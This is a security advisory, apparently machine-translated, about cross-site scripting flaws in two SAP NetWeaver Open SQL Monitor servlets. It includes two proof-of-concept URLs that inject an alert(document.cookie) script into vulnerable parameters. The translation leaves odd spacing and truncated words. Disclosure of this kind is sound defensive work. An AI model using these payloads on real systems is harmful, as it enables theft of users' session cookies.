Multiple Cross-Site Scripting Vulnerabilities in SAP NetWeaver SQL Monitor

Release date:
Updated on:

Affected Systems:
SAP NetWeaver 7.0-7.02
Description:
--------------------------------------------------------------------------------
Bugtraq id: 44904

SAP NetWeaver is an integrated enterprise IT system management system.

SAP NetWeaver's Open SQL Monitors (installed on port 50100 by default) has multiple cross-site scripting vulnerabilities. Remote attackers may exploit these vulnerabilities to steal Cookie-based authentication creden, perform further attacks.

The connid parameter of the ConnectionMonitorServlet program and the reqTableColumns parameter of the CatalogBufferMonitorServlet program have problems.

<* Source: a. polyakov and a. troshicev from Digital Security Research Group

Link: http://dsecrg.com/pages/vul/show.php? Id = 156

*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

A. polyakov and a. troshicev from Digital Security Research Group () provides the following test methods:

Http://www.example.com: 50100/OpenSQLMonitors/servlet/ConnectionMonitorServlet? View = stmtpool & amp; node = 12924950 & amp; ds = sapsrdb & amp; connid
= Com. sap. SQL. jdbc. direct. DirectPooledConnection @ 1ed00a7 & lt; script & gt; alert (document. cookie) & lt;/script & gt;

Http://www.example.com: 50100/OpenSQLMonitors/servlet/CatalogBufferMonitorServlet? Action = btnSHOW_COLUMNS & amp; reqNode = 12924950 & amp; reqBufferId =
SAPSERVER: dm0: sapsrdb & amp; reqTableColumns = BC_RPROF_PROFILE & lt; script & gt; alert (document. cookie) & lt;/script & gt;

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

SAP
---
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:

Http://www.sap.com/platform/netweaver/index.epx